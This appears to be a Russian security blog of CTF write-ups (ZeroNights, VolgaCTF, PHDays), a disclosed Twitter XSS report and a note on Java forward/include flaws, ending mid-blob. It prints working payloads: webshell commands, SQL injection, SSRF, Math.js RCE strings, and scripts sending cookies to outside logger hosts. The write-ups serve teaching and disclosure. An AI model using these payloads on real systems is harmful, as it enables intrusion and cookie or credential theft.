25 октября 2017

Zeronights 2017 HackQuest Day #1 Writeup


Краткое прохождение первого дня Zeronights 2017 HackQuest.

http://zeroevening.org/

Сайт с заданием представляет собой почти пустую страницу. Из интересного - только html комментарий.

<!-- updated page via bitbucket 23.10.2017 -->

http://bitbucket.zeroevening.org/

Находим поддомен с bitbucket v4.7.1, который уязвим к частичному обходу авторизации (https://bo0om.ru/just-enter-the-space-attacks).

http://bitbucket.zeroevening.org/admin%20/server-settings

Из настроек узнаем о поддомене git-admintools.zeroevening.org, на котором расположен скрипт, позволяющий сделать git clone --recursive по произвольному URL. Файлы сохраняются в веб директорию /repos/%repo_name%/.

http://git-admintools.zeroevening.org/

В данном задании предполагалось использование CVE-2017-1000117, но я пошел более простым путем и скопировал проект с кучей готовых пейлоадов PayloadsAllTheThings. Оказалось, что расширения pht и phtml не были заблокированы и я сразу получил готовый шелл.

http://git-admintools.zeroevening.org/repos/PayloadsAllTheThings/Upload%20insecure%20files/PHP%20Extension/phpinfo.pht

http://git-admintools.zeroevening.org/repos/PayloadsAllTheThings/Upload%20insecure%20files/PHP%20Extension/phpinfo.phtml

Читаем config.php и идем на следующий поддомен.

http://git-admintools.zeroevening.org/repos/PayloadsAllTheThings/Upload%20insecure%20files/PHP%20Extension/Shell.phtml?cmd=cat+/var/www/html/config.php

http://dev-cyberplatform-ico.zeroevening.org/?url=ops.jpg

На данном сайте через параметр url можно сделать SSRF и чтение произвольных файлов, результат попадает на страницу в виде base64 картинки. Я потратил довольно много времени на поиски исходного кода или конфигов, пока не наткнулся на /etc/hosts.

http://dev-cyberplatform-ico.zeroevening.org/?url=/etc/hosts

172.18.0.3  83c994f72770

Пробуем соседние IP и находим скрипт с SQL Injection.

http://dev-cyberplatform-ico.zeroevening.org/?url=http://172.18.0.2/user.php?username=root%27=0%2bunion%2bselect%2b1,load_file%28%27/var/www/html/install.php%27%29,3,4–%2b-

Читаем install.php и находим пароли для jenkins.

mysql_query("INSERT INTO users (login,pass,status) VALUES ('root', MD5('toor'), 'admin');");
mysql_query("DROP TABLE jenkins_users");
mysql_query("CREATE TABLE jenkins_users ( username TEXT, password TEXT );");
mysql_query("INSERT INTO jenkins_users (username,password) VALUES ('bomberman', 'HVQ8UijXwU)');");
mysql_query("INSERT INTO jenkins_users (username,password) VALUES ('cyberpunkych', 'DC8800_553535_proshe_pozvonitb_chem_y_kogo_to_zanimatb');");
mysql_query("INSERT INTO jenkins_users (username,password) VALUES ('bo0om', 'Hipe4Money')");
mysql_query("INSERT INTO jenkins_users (username,password) VALUES ('jbfc', 'InBieberWeTrust')");

Находим поддомен jenkins, авторизуемся под bomberman и получаем RCE.

http://jenkins.zeroevening.org/computer/(master)/script

Находим флаг, сдаем и… ничего не происходит, потому что в флаге, который лежал на сервере была опечатка. Я подумал, что это какой-то троллинг и задание нужно ковырять еще глубже, но, ничего не найдя, пошел спать. В итоге все-таки оказался первым и получил инвайт.

30 сентября 2017

[dev.twitter.com] XSS


Разгребал логи скриптов для bugbounty и нашел интересное перенаправление на сайте dev.twitter.com.
Изначально оно выглядело так https://dev.twitter.com//xxx/

enter image description here

В таблице представлены этапы раскрутки уязвимости.

Request Location header Link on page Comment
//xxx/ http://dev.twitter.com/xxx xxx Entry point
/http:site.com/ http://dev.twitter.com/site.com http:site.com
/https:site.com/ https:site.com https:site.com http://dev.twitter.com - base URL.
https: - protocol change, so the Location URLis absolute.
/javascript:alert(1)/ javascript:alert(1) javascript:alert(1) XSS in the body.
But redirect to javascript: will be blocked by the browser.
/https:/%5cblackfan.ru/ https:/\blackfan.ru https:/\blackfan.ru Open Redirect
/aa://bb/cc/ /aa://dev.twitter.com/cc cc Interesting.
Let’s try to merge Open Redirect and XSS.
/aa://bb/javascript:111/ /aa://dev.twitter.com/javascript:111 javascript:111 Very close
/aa://bb/javascript:alert(1)/ javascript:alert(1) javascript:alert(1) WTF, Location header!
/aa://bb/javascript:222/ /aa://dev.twitter.com/javascript:222 javascript:222
/aa://bb/javascript:xxx/ javascript:xxx javascript:xxx It looks like I can only use numbers (host:port ?)
/aa://bb/!javascript:xxx/ /aa://dev.twitter.com/!javascript:xxx !javascript:xxx But if I put an invalid scheme, everything is fine.
shazzer: Characters before javascript uri
/aa://bb/%01javascript:xxx/ /aa://dev.twitter.com/█javascript:xxx █javascript:xxx Nice
//aa:1//bb/%01javascript:xxx/ aa:1//bb/█javascript:xxx aa:1//bb/█javascript:xxx Oh,come on
//aa:1/:///%01javascript:xxx/ //aa:1/://dev.twitter.com/█xxx █javascript:xxx And finally

Итак, сформировав в Location заголовке ссылку с некорректным портом мне удалось заблокировать перенаправление в браузере FireFox (я уже использовал этот трюк в другой XSS на Facebook). А за счет разницы обработки Request-URI в теле ответа была сформирована JavaScript ссылка.
Финальный PoC:

https://dev.twitter.com//x:1/:///%01javascript:alert(document.cookie)/

Открываем и нажимаем ссылку. На сайте также не использовался заголовок X-Frame-Options, что можно было использовать для эксплуатации этой XSS через Clickjacking.

enter image description here

Результат: https://hackerone.com/reports/260744

21 сентября 2017

Activity/VolgaCTF 2017 Writeup


Для участников VolgaCTF мной были подготовлены 4 задания на категорию web. В основном это были интересные идеи с рабочих проектов и bugbounty программ на client-side уязвимости.

Task 1.1
https://task1.finals.2017.volgactf.ru/
https://task1.finals.2017.volgactf.ru/source.zip
Nginx + PHP, задание с исходным кодом. Основная часть:

foreach ($_SERVER as $name => $value) { 
  if (substr($name, 0, 5) == 'HTTP_') { 
    header(str_replace(' ', '-', ucwords(strtolower(str_replace('_', ' ', substr($name, 5))))).': '.$value, false);
  } 
}

foreach($_GET as $name => $value) {
  if(is_string($value)) {
    header($name.': '.$value, false);
  }
}

Все GET параметры и заголовки запроса попадают в заголовки HTTP ответа (включая cookie с флагом). Так как cookie с флагом httpOnly - то даже если получится сделать XSS, то она ничего не даст, так что необходимо смотреть в сторону CORS. Для решения необходимо было узнать о заголовке Access-Control-Expose-Headers и сформировать payload для кражи cookie у бота.

<script>
    var xhr = new XMLHttpRequest();
    xhr.open('GET', 'https://task1.finals.2017.volgactf.ru/index.php?Access-Control-Allow-Origin=null&Access-Control-Expose-Headers=Cookie&Access-Control-Allow-Credentials=true', false);
    xhr.withCredentials = true;
    xhr.send();
    if (xhr.status == 200) {
        location = 'http://logger/?'+xhr.getResponseHeader('Cookie');
    }
</script>

Task 1.2
Вторая часть задания была на server-side уязвимость в nginx.
Флаг был в php файле на отдельном vhost. Однако, для него был следующий конфиг, который не позволял его получить.

server {
    ...
    server_name task1.finals.2017.volgactf.ru;
    root /var/www/html;
    ...
    location ~ \.php$ {
        include snippets/fastcgi-php.conf;
        fastcgi_pass unix:/run/php/php7.0-fpm.sock;
    }
    ...
}
server {
    ...
    server_name volgactf_dev;
    root /var/www/html_old;
    ...
    location ~ \.php$ {
        deny all;
    }
}

Помимо обычных заголовков, которые непосредственно попадают в HTTP ответ, есть еще и специальные, влияющие на обработку ответа. В случае с PHP это заголовок Location, меняющий код ответа на 302 и заголовок HTTP/ для указания кода и статуса ответа (http://php.net/manual/ru/function.header.php).

https://task1.finals.2017.volgactf.ru/?Location=http://google.com
https://task1.finals.2017.volgactf.ru/?HTTP/=666%20Ne%20OK

В nginx также есть специальные заголовки Status и X-Accel (https://www.nginx.com/resources/wiki/start/topics/examples/x-accel/).

https://task1.finals.2017.volgactf.ru/?Status=666+Ne+OK
https://task1.finals.2017.volgactf.ru/?X-Accel-Redirect=/index.php

Наиболее интересным является X-Accel-Redirect, который обычно используется для перенаправления запроса на внутренние location (https://nginx.ru/ru/docs/http/ngx_http_core_module.html#internal). В реализации этого перенаправления есть небольшой косяк, который я обнаружил, когда тестировал Task 1.1.

root /var/www/html;
GET $URI HTTP/1.1
GET /index.php HTTP/1.1

Результат: $root$URI == /var/www/html/index.php

root /var/www/html;
X-Accel-Redirect: $URI
X-Accel-Redirect: foo/bar

Результат: $root$URI == /var/www/htmlfoo/bar

Так как X-Accel-Redirect в отличие от Request-URI не обязательно должен начинаться с символа /, то в результате конкатенации может произойти частичный выход за пределы текущего document root с префиксом. Так как в задании было:

root /var/www/html;
root /var/www/html_old;

Обратиться к flag.php через дефолтный vhost не составляет труда:

https://task1.finals.2017.volgactf.ru/?X-Accel-Redirect=_old/flag.php

Task 2
https://task2.finals.2017.volgactf.ru/
https://task2.finals.2017.volgactf.ru/static/source.zip
Nginx + Django, задание с исходным кодом.

В задании было настроено кэширование ответа /account/ в котором для администратора отображался флаг.

    location /account/ {
        uwsgi_cache_key $request_uri$cookie_sessionid;

        uwsgi_cache cache;
        uwsgi_cache_valid 200 1m;
        uwsgi_cache_use_stale error  timeout invalid_header http_500;
        uwsgi_ignore_headers Vary;
        add_header X-Cache-Status $upstream_cache_status;

        include         uwsgi_params;
        uwsgi_pass      unix:/run/uwsgi/task2.sock;
    }

Ключом кэша является строка $request_uri$cookie_sessionid, где sessionid - это идентификатор сессии пользователя в Django.

В конфиге nginx также нужно было заметить уязвимое перенаправление с http на https (http://blog.volema.com/nginx-insecurities.html).

    if ($scheme != "https") {
        return 301 https://$host$uri;
    }

Вместо request_uri использовалась переменная uri, значение которой проходит URL декодирование и нормализацию пути. В случае, если такая переменная попадает в заголовки HTTP ответа - это позволяет провести CRLF Injection, причем в данном случае мы уже не можем использовать заголовки X-Accel или Status.
Протестировав кэширование ответа можно было заметить, что при запросе

GET /account/ HTTP/1.1
Host: task2.finals.2017.volgactf.ru
Cookie: sessionid=xxx; sessionid=lxum1hevzndcduszsbwbxcyekru9fpnj

Nginx в переменной $cookie_sessionid использует первую cookie, а Django вторую. То есть данный ответ будет закэширован с ключом /account/xxx.
Объединив CRLF Injection и разницу обработки cookie получаем следующий payload.

http://task2.finals.2017.volgactf.ru/%0aSet-Cookie:sessionid=xxx;path=/account/;

В результате:
1. В перенаправлении с http на https будет создана cookie sessionid=xxx
2. С / запрос будет перенаправлен на /account/, так как пользователь авторизован
3. Cookie sessionid=xxx не перезапишет оригинальную, так как у них разный path, но в тоже время будет первой в списке, так как префикс пути у нее больше.
4. Ответ с флагом будет закэширован с ключом /account/xxx

Получить флаг можно сделав такой запрос:

GET /acoount/xxx HTTP/1.1

или

GET /account/ HTTP/1.1
Cookie: sessionid=xxx;

Task 3
https://task3.finals.2017.volgactf.ru
Задание на DOM Based XSS.

В зависимости от указанного параметра lang в javascript происходила загрузка нужного html файла с текстом.

loadPage('language/' + lang + '.html');

При этом параметр lang разбивался на 2 части по символу _. Первая часть приводилась к lower case, вторая к upper case.

  var langSplit = lang.split('_');

  if(langSplit.length === 2) {
    var language = langSplit[0],
    countryCode = langSplit[1];

    language = language && language != language.toLowerCase() ? language.toLowerCase() : language;
    countryCode = countryCode && countryCode != countryCode.toUpperCase() ? countryCode.toUpperCase() : countryCode;

    return language + '_' + countryCode;

Также для скачивания текста использовался сценарий downloadButton.php в котором можно было сделать Open Redirect.

https://task3.finals.2017.volgactf.ru/downloadButton.php?link=//www.google.com/

Объединив загрузку html и open redirect можно загрузить содержимое с любого сайта, но мешает обработка параметра lang, так как необходимо указать строку в разном регистре downloadButton. Для обхода этого можно использовать URL кодирование, которое сработает независимо от регистра. Финальный payload:

https://task3.finals.2017.volgactf.ru/?lang=ru/../../download%2542utton.php?link=//site.com/xss.php?_xx

xss.php
<?php;
header("Access-Control-Allow-Origin: *");
header("Access-Control-Allow-Headers: cache-control");
print('<svg/onload="location=\'https://site.com/logger/\'+document.cookie"/>');

Если ваши варианты решения отличаются, было бы интересно их увидеть в комментариях. Задания будут работать еще несколько дней, бот расположен по адресу https://taskbot.finals.2017.volgactf.ru/.

14 августа 2017

Unvalidated Forwards


Довольно часто встречаю уязвимости Unvalidated Forward и JSP Include, но нормальных статей про них толком не встречал (поэтому написал еще одну плохую).

Примеры уязвимостей

String locale = request.getParameter("locale");
request.getRequestDispatcher("/folder/" + locale + "/index.jsp").forward(request, response);
<jsp:include page='<%=request.getParameter("page")%>'/>
<jsp:forward page='<%=request.getParameter("page")%>'/>

Описание
forward - передача обработки текущего запроса другому сценарию.
include - включение в ответ результата обработки другого сценария.

С помощью данных функций нельзя получить доступ к произвольным файлам в системе, работа происходит только в рамках одного веб приложения.
Путь, передаваемый в функции, обрабатывается как Request-URI. То есть:

  1. Для отбрасывания префикса можно использовать prefix/../path (но не выше текущего приложения)
  2. Для отбрасывания постфикса можно использовать path/?/postfix.jsp

В результате будет тоже самое, как обращение к данному пути с помощью обычного HTTP запроса (jsp исполнится, а xml будет прочитан). Но с небольшими отличиями:

  1. Результирующий сценарий получит все параметры, переданные в оригинальном запросе. Если в путь добавить query string, то эти параметры будут добавлены к оригинальным.
  2. В данном запросе нет ограничений на обращения к файлам из каталогов WEB-INF и META-INF
  3. По умолчанию данный запрос не обрабатывается фильтрами, описанными в web.xml
  4. Иногда данные уязвимости помогают обойти WAF

Пример эксплуатации

<jsp:include page="<%=request.getParameter("page")%>"/>
/index.jsp?page=/WEB-INF/web.xml
String locale = request.getParameter("locale");
request.getRequestDispatcher("/folder/" + locale + "/index.jsp").forward(request, response);
/index.jsp?locale=../WEB-INF/web.xml?

Обход фильтров
Часто сценарии для администрирования просто выносят в отдельный каталог /admin/, который закрывают с помощью фильтра с проверкой авторизации.

<filter>
  <filter-name>AdminFilter</filter-name>
  <filter-class>foo.bar.AdminFilter</filter-class>
</filter>
<filter-mapping>
  <filter-name>AdminFilter</filter-name>
  <url-pattern>/admin/*</url-pattern>
</filter-mapping>

В данном случае для запросов через forward и include по умолчанию фильтр не будет вызван и авторизация не проверится.

/index.jsp?locale=../admin/Pwn?cmd=id%26

Для того, чтобы фильтр работал и в этом случае, необходимо добавить следующие настройки (по умолчанию идет только REQUEST - прямой запрос к сценарию).

<filter-mapping>
  <filter-name>AdminFilter</filter-name>
  <url-pattern>/admin/*</url-pattern>
  <dispatcher>REQUEST</dispatcher>
  <dispatcher>FORWARD</dispatcher>
  <dispatcher>INCLUDE</dispatcher>
</filter-mapping>

Обращение к файлам из WEB-INF и META-INF

1. Доступ к конфигурационным файлам. Следует проверить следующие варианты:
/WEB-INF/web.xml
/WEB-INF/%filename%.xml
/WEB-INF/%filename%.properties
/WEB-INF/classes/%filename%.xml
/WEB-INF/classes/%filename%.properties
/WEB-INF/config/%filename%.xml
/WEB-INF/config/%filename%.properties
/WEB-INF/conf/%filename%.xml
/WEB-INF/conf/%filename%.properties
/WEB-INF/resources/%filename%.xml
/WEB-INF/resources/%filename%.properties
/META-INF/%filename%.xml
/META-INF/%filename%.properties

Я попытался составить небольшой словарь того, что может там встретиться
https://github.com/BlackFan/WEB-INF-dict/blob/master/web-inf.txt

2. Доступ к коду приложения
/WEB-INF/lib/%filename%.jar
/WEB-INF/classes/foo/bar/Baz.class    =>   package foo.bar; class Baz

В случае с библиотеками вслепую перебирать будет довольно сложно, так как часто в имени есть еще и версия. Но чтение классов вполне реально, информацию о существующих классах можно получить из stack trace, web.xml, конфигурационных файлов и самих классов.

Дальнейшая эксплуатация зависит от конкретного приложения, но в основном полученных данных (учетные записи к базам данных и панелям администрирования, исходный код приложения) хватает для развития атаки.

13 мая 2017

PHDays 2017 HackQuest Writeup


Краткий разбор заданий с PHDays 2017 HackQuest.

SteckTechs


На клиенте собирается выражение с суммой очков, которое выполняется на сервере.
https://stack.rosnadzorcom.ru/result?expr=2+2
Из сообщения об ошибке узнаем, что это Node.js и Math.js.

SyntaxError: End of string " expected (char 2)
    at createSyntaxError (/var/njs/www/mathjs-3.10.1/lib/expression/parse.js:1524:17)
    at parseStringToken (/var/njs/www/mathjs-3.10.1/lib/expression/parse.js:1282:13)
    at parseString (/var/njs/www/mathjs-3.10.1/lib/expression/parse.js:1248:13)
    at parseSymbol (/var/njs/www/mathjs-3.10.1/lib/expression/parse.js:1143:12)
    at parseCustomNodes (/var/njs/www/mathjs-3.10.1/lib/expression/parse.js:1120:12)
    at parseLeftHandOperators (/var/njs/www/mathjs-3.10.1/lib/expression/parse.js:1034:12)
    at parsePow (/var/njs/www/mathjs-3.10.1/lib/expression/parse.js:1012:12)
    at parseUnary (/var/njs/www/mathjs-3.10.1/lib/expression/parse.js:1000:12)
    at parseMultiplyDivide (/var/njs/www/mathjs-3.10.1/lib/expression/parse.js:932:12)
    at parseAddSubtract (/var/njs/www/mathjs-3.10.1/lib/expression/parse.js:906:12)

Находим статью по эксплуатации этой уязвимости:

https://capacitorset.github.io/mathjs/

Кромсаем готовые вектора с помощью concat, чтобы обойти WAF.

Чтение файлов

GET /result?expr=cos.constructor(concat("a=new%20Buffer(10000);pro","cess.bind","ing('fs').read(pro","cess.bind","ing('fs').op","en('WAFWAF_ex","ec_jk.txt',0,0600),a,0,10000);return%20a.toString('ascii')"))() HTTP/1.1
Host: stack.rosnadzorcom.ru

Выполнение команд

GET /result?expr=cos.constructor(concat("spawn_sync%20=%20pr","oce","ss.binding('spawn_sync');%20normalizeSpawnArguments%20=%20fun","cti","on(c,b,a){if(Array.isArray(b)?b=b.slice(0):(a=b,b=[]),a===undefined%26%26(a={}),a=Object.assign({},a),a.shell){const%20g=[c].concat(b).join('%20');typeof%20a.shell==='str","ing'?c=a.shell:c='/b","in/s","h',b=['-c',g];}typeof%20a.argv0==='str","ing'?b.unshift(a.argv0):b.unshift(c);var%20d=a.en","v||pr","oc","ess.e","nv;var%20e=[];for(var%20f%20in%20d)e.push(f%2b'='%2bd[f]);return{fi","le:c,args:b,opti","ons:a,en","vPairs:e};};spawnSync%20=%20fun","cti","on(){var%20d=normalizeSpawnArg","uments.apply(null,ar","guments);var%20a=d.op","t","i","ons;var%20c;if(a.fi","le=d.fi","le,a.ar","gs=d.ar","gs,a.e","nvPairs=d.e","nvPairs,a.st","di","o=[{type:'pi","pe',rea","dable:!0,wr","itable:!1},{type:'pi","pe',re","adable:!1,wr","itable:!0},{type:'pi","pe',re","adable:!1,wri","table:!0}],a.i","np","ut){var%20g=util._extend({},a.stdi","o[0]);g.inpu","t=a.inpu","t;}for(c=0;c<a.stdi","o.length;c%2b%2b){var%20e=a.stdi","o[c].inpu","t;if(e!=null){var%20f=util._extend({},a.stdi","o[c]);isUint8Array(e)?f.inpu","t=e:f.inpu","t=Buffer.from(e,a.encoding);}}var%20b=spawn_sync.spawn(a);if(b.outpu","t%26%26a.encoding%26%26a.encoding!=='buffer')for(c=0;c<b.outpu","t.length;c%2b%2b){if(!b.outpu","t[c])continue;x=b.outpu","t[c].toString(a.encoding);}return%20b.stdout=b.outpu","t%26%26b.outpu","t[1],b.stderr=b.outpu","t%26%26b.outpu","t[2],b.error%26%26(b.error=%20b.error%20%2b%20'spawnSync%20'%2bd.fi","le,b.error.pa","th=d.fi","le,b.error.spawnar","gs=d.ar","gs.slice(1)),b;};return%20spawnSync('/bin/ls')['outp","ut'][1].toString();"))() HTTP/1.1
Host: stack.rosnadzorcom.ru

Читаем флаг из /WAFWAF_exec_jk.txt

md5('::L3g3nd4ry_l1v3__3t3rn@ally^')

После прохождения узнаем, что проще было использовать base64

new Buffer("b2xvbG8=", "base64").toString()

И что многие участники не создавали функцию, а просто вызывали уже созданную другими участниками. То есть все решение было примерно таким:

https://stack.rosnadzorcom.ru/result?expr=cos.constructor("return+spawnSync('sh',['-c','cat+WAF*'])")()

1.png


https://rosnadzorcom.ru/1.png

Пустая картинка, смотрим альфа-канал в Stegsolve.

stegsolve1

stegsolve2

Извлекаем из каждого блока 10x10 по одному пикселю и опять извлекаем данные с помощью Stegsolve. Получается JS код:

[+[]]+[+[]]+[+[]]+[+[]]+[+[]]+[+[]]+[+[]]+[+!+[]]+[+[]]+[+!+[]]+[+[]]+[+!+[]]+[+[]]+[+!+[]]+[+!+[]]+[+[]]+[+[]]+[+!+[]]+[+[]]+[+!+[]]+[+[]]+[+!+[]]+[+[]]+[+[]]+[+[]]+[+[]]+[+[]]+[+[]]+[+[]]+[!+[]+!+[]]+[+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+[]]+[+!+[]]+[+[]]+[+!+[]]+[+!+[]]+[+[]]+[+[]]+[+!+[]]+[+[]]+[+[]]+[+!+[]]+[+!+[]]+[+[]]+[+[]]+[+[]]+[+!+[]]+[+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+[]]+[!+[]+!+[]]+[+[]]+[+!+[]]+[+[]]+[+[]]+[+[]]+[+!+[]]+[+[]]+[+!+[]]+[+!+[]]+[+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+[]]+[+[]]+[+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+[]]+[+[]]+[+!+[]]+[+[]]+[+!+[]]+[+[]]+[+[]]+[+[]]+[+!+[]]+[+[]]+[!+[]+!+[]]+[+[]]+[+!+[]]+[+[]]+[+[]]+[+[]]+[+!+[]]+[+[]]+[+!+[]]+[+[]]+[+[]]+[+!+[]]+[+[]]+[+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+[]]+[+[]]+[+[]]+[+[]]+[+!+[]]+[+!+[]]+[+[]]+[+!+[]]+[+[]]+[+[]]+[+[]]+[+!+[]]+[+[]]+[!+[]+!+[]]+[+[]]+[+!+[]]+[+[]]+[+[]]+[+[]]+[+!+[]]+[+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+[]]+[+!+[]]+[+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+[]]+[+!+[]]+[+!+[]]+[+[]]+[+!+[]]+[+[]]+[+!+[]]+[+[]]+[+[]]+[+[]]+[+!+[]]+[+[]]+[!+[]+!+[]]+[+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+[]]+[+!+[]]+[+!+[]]+[+[]]+[+[]]+[+[]]+[+[]]+[+!+[]]+[+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+[]]+[!+[]+!+[]]+[+[]]+[+[]]+[+[]]+[+[]]+[+[]]+[+[]]+[+[]]+[+!+[]]+[+[]]+[+!+[]]+[+[]]+[+!+[]]+[+[]]+[+!+[]]+[+[]]+[+!+[]]+[+[]]+[+!+[]]+[+[]]+[+!+[]]+[+[]]+[+!+[]]+[+[]]+[+[]]+[+[]]+[+[]]+[+[]]+[+[]]+[+[]]+[!+[]+!+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+[]]+[+!+[]]+[+[]]+[+[]]+[+[]]+[+[]]+[+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[!+[]+!+[]]+[+[]]+[+!+[]]+[+[]]+[+[]]+[+!+[]]+[+[]]+[+[]]+[+[]]+[+!+[]]+[+[]]+[+!+[]]+[+[]]+[+!+[]]+[+[]]+[+[]]+[+!+[]]+[+[]]+[+[]]+[+!+[]]+[+[]]+[+!+[]]+[+!+[]]+[+[]]+[+!+[]]+[+!+[]]+[+[]]+[+!+[]]+[+[]]+[+[]]+[!+[]+!+[]]+[+[]]+[+[]]+[+!+[]]+[+!+[]]+[+[]]+[+[]]+[+!+[]]+[+!+[]]+[+[]]+[+!+[]]+[+!+[]]+[+[]]+[+[]]+[+!+[]]+[+!+[]]+[+[]]+[+[]]+[+[]]+[+[]]+[+[]]+[+!+[]]+[+[]]+[+!+[]]+[+[]]+[+[]]+[+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[!+[]+!+[]]+[+[]]+[+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+[]]+[+[]]+[+[]]+[+[]]+[+[]]+[+!+[]]+[+!+[]]+[+[]]+[+!+[]]+[+[]]+[+[]]+[+!+[]]+[+[]]+[+[]]+[+!+[]]+[+!+[]]+[+[]]+[+!+[]]+[+[]]+[+!+[]]+[+[]]+[+[]]+[+!+[]]+[+!+[]]+[!+[]+!+[]]+[+!+[]]+[+[]]+[+[]]+[+[]]+[+[]]+[+[]]+[+!+[]]+[+[]]+[+!+[]]+[+[]]+[+!+[]]+[+[]]+[+[]]+[+[]]+[+[]]+[+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+[]]+[+!+[]]+[+!+[]]+[+[]]+[+[]]+[+!+[]]+[+[]]+[+!+[]]+[+[]]+[!+[]+!+[]]+[+[]]+[+!+[]]+[+!+[]]+[+[]]+[+!+[]]+[+!+[]]+[+[]]+[+!+[]]+[+[]]+[+[]]+[+!+[]]+[+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+[]]+[+[]]+[+!+[]]+[!+[]+!+[]]+[+!+[]]+[+[]]+[+!+[]]+[+[]]+[+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+[]]+[+[]]+[+[]]+[+[]]+[+[]]+[+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+[]]+[+!+[]]+[+[]]+[+[]]+[+!+[]]+[+[]]+[+[]]+[+!+[]]+[+[]]+[+!+[]]+[+[]]+[+!+[]]+[!+[]+!+[]]+[+[]]+[+!+[]]+[+[]]+[+!+[]]+[+[]]+[+!+[]]+[+[]]+[+[]]+[+[]]+[+[]]+[+!+[]]+[+[]]+[+!+[]]+[+!+[]]+[+[]]+[+!+[]]+[+[]]+[+[]]+[+[]]+[+[]]+[+!+[]]+[+[]]+[+[]]+[+!+[]]+[+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+[]]+[!+[]+!+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+[]]+[+[]]+[+!+[]]+[+!+[]]+[+[]]+[+[]]+[+[]]+[+[]]+[+!+[]]+[+!+[]]+[+[]]+[+!+[]]+[+[]]+[+!+[]]+[+!+[]]+[+[]]+[+!+[]]+[+[]]+[+[]]+[+[]]+[+[]]+[+[]]+[+[]]+[+!+[]]+[+[]]+[+[]]+[!+[]+!+[]]+[+[]]+[+[]]+[+!+[]]+[+[]]+[+!+[]]+[+!+[]]+[+[]]+[+[]]+[+[]]+[+!+[]]+[+!+[]]+[+[]]+[+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+[]]+[+!+[]]+[+[]]+[+[]]+[+!+[]]+[+!+[]]+[+[]]+[+[]]+[+[]]+[+!+[]]+[+[]]+[+!+[]]+[!+[]+!+[]]+[+!+[]]+[+[]]+[+!+[]]+[+[]]+[+[]]+[+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+[]]+[+[]]+[+[]]+[+[]]+[+[]]+[+!+[]]+[+[]]+[+[]]+[+!+[]]+[+!+[]]+[+[]]+[+[]]+[+!+[]]+[+[]]+[+!+[]]+[+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[!+[]+!+[]]+[+[]]+[+!+[]]+[+!+[]]+[+[]]+[+!+[]]+[+[]]+[+[]]+[+[]]+[+!+[]]+[+[]]+[+[]]+[+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+[]]+[+!+[]]+[+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+[]]+[+!+[]]+[+!+[]]+[!+[]+!+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+[]]+[+[]]+[+!+[]]+[+[]]+[+!+[]]+[+[]]+[+!+[]]+[+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+[]]+[+[]]+[+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+[]]+[+!+[]]+[!+[]+!+[]]+[+!+[]]+[+[]]+[+!+[]]+[+[]]+[+!+[]]+[+!+[]]+[+[]]+[+[]]+[+[]]+[+!+[]]+[+!+[]]+[+[]]+[+!+[]]+[+[]]+[+!+[]]+[+!+[]]+[+[]]+[+!+[]]+[+[]]+[+!+[]]+[+[]]+[+[]]+[+[]]+[+[]]+[+[]]+[+[]]+[+!+[]]+[+!+[]]+[+[]]+[!+[]+!+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+[]]+[+!+[]]+[+[]]+[+[]]+[+[]]+[+[]]+[+[]]+[+!+[]]+[+[]]+[+[]]+[+[]]+[+!+[]]+[+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+[]]+[+!+[]]+[+!+[]]+[+[]]+[+[]]+[!+[]+!+[]]+[+[]]+[+[]]+[+[]]+[+[]]+[+[]]+[+[]]+[+[]]+[+!+[]]+[+[]]+[+[]]+[+!+[]]+[+[]]+[+!+[]]+[+[]]+[+!+[]]+[+[]]+[+!+[]]+[+[]]+[+[]]+[+!+[]]+[+[]]+[+!+[]]+[+[]]+[+!+[]]+[+[]]+[+[]]+[+!+[]]+[+[]]+[+!+[]]+[!+[]+!+[]]+[+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+[]]+[+!+[]]+[+[]]+[+!+[]]+[+[]]+[+!+[]]+[+[]]+[+!+[]]+[+!+[]]+[+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+[]]+[+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+[]]+[+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[!+[]+!+[]]+[+[]]+[+!+[]]+[+[]]+[+[]]+[+[]]+[+!+[]]+[+[]]+[+!+[]